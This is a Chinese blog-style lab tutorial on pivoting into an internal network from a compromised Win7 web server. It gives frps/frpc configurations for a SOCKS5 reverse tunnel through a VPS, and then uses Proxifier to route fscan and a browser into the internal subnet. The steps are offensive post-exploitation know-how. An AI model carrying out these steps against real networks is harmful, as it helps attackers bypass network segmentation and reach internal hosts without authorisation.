- 前言
- 環境搭建
- frp反向代理
- proxifier代理工具
前言
內網穿透,代理技術的聯絡與區別?
我個人感覺在內網滲透的時候它們之間的界限很模糊,其目的都是為了突破內網訪問的限制。內網穿透允許將內網的服務暴露給公網,代理伺服器充當客戶端和目標伺服器之間的中介,透過代理伺服器來轉發網路請求和響應。
環境搭建
攻擊機可以訪問web伺服器win7並且已經獲取許可權拿到shell,但是win7透過雙網路卡將內網和外網隔離,所以攻擊機不可以直接訪問內網的Windows 2008主機。
目標:
-
透過vps搭建frps服務端
-
win7作為跳板機執行frpc客戶端將內網轉發到vps上
-
vps反向代理
-
透過vps的socks代理訪問內網
frp反向代理
疑問:既然拿到了伺服器的shell,為什麼不拿伺服器的shell直接入侵內網?
我的理解,其一是webshell的功能較少,通常是作為一個上傳工具的通道。其二是webshell通常是透過採用http協議傳輸,沒有建立穩定的tcp連線,難以應對內網的滲透時複雜的網路要求。
所以就需要使用一下專業的內網滲透工具來保證內網滲透的過程中始終保持一個較好的網路狀態。
frp就是這一個非常實用的工具,frp是一個專注於內網穿透的高效能的反向代理應用,支援TCP、UDP、HTTP、HTTPS等多種協議,且支援P2P通訊。可以將內網服務以安全、便捷的方式透過具有公網IP節點的中轉暴露到公網。
frp專案地址:https://github.com/fatedier/frp
首先分別準備linux平臺和windows平臺的frp工具(版本需要保持一致):
將liunx平臺frp上傳至liunx vps搭建frps服務端,需要用到的檔案有兩個frps
服務端程式和frps.ini
服務端配置檔案,需要重點關注frps.ini
檔案:
預設只有服務端繫結的埠,可以新增其他配置專案:
[common]
bind_addr = 0.0.0.0 #服務端的ip地址
bind_port = 7000 #服務端的埠號
dashboard_port = 7500 #服務端儀表盤介面的訪問埠
dashboard_user = admin #儀表盤的使用者名稱
dashboard_pwd = 123456 #儀表盤的使用者密碼
儲存配置檔案,執行./frps -c ./frps.ini
命令啟動frp服務端,等待客戶端連線:
服務搭建成功,接下來將windows平臺的frpc透過webshell上傳至伺服器win7,同樣需要配置frpc.ini
檔案:
配置socks5代理:
[common]
server_addr = ip #伺服器的地址
server_port = 7000 #伺服器監聽的埠號
tls_enable = ture #啟用tls加密連線
[plugin socks]
type = tcp #指定協議型別為tcp
plugin = socks5 #使用的外掛為socks5
remote_port = 46075 #指定socks5代理的遠端埠
use_encryption = true
use_compression = true
儲存配置檔案,執行frpc.exe -c frpc.ini
命令啟動frp客戶端,連線服務端:
透過儀表盤頁面也可以看到socks5代理啟動成功:
理論上現在就可以訪問內網主機了,將瀏覽器代理改為frp伺服器的socks5代理:
訪問內網主機192.168.52.143的web服務:
到這裡frp的功能就完成了,只有瀏覽器可以訪問這還不夠,下面介紹另一個好用的代理工具。
proxifier代理工具
Proxifier是一個知名的代理工具,它允許使用者將網路應用程式透過代理伺服器進行連線。它本身只是一個代理管理的工具,可以設定和管理代理連線,但並不提供代理伺服器。
下載地址:https://www.proxifier.com/
新增frp代理伺服器的ip地址和socks5代理的埠號,協議版本選擇為socks5版本:
記得測試一下代理服務是否正常:
預設有兩條代理規則, 第一個時系統程式的規則是Direct直連模式,不透過代理。第二個是預設其他應用程式,都透過代理。
試著新增一個新規則,使用本地的fscan掃描內網網段時使用代理(其實預設規則已經包含了):
fscan透過socks代理成功掃描到了192.168.52.0/24網段內的主機:
我還是試了試代理nmap掃描,結果nmap掃描不到,並且proxifier日誌也沒有顯示nmap使用了代理,nmap的tcp掃描也不沒有走代理,感覺有點奇怪。
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ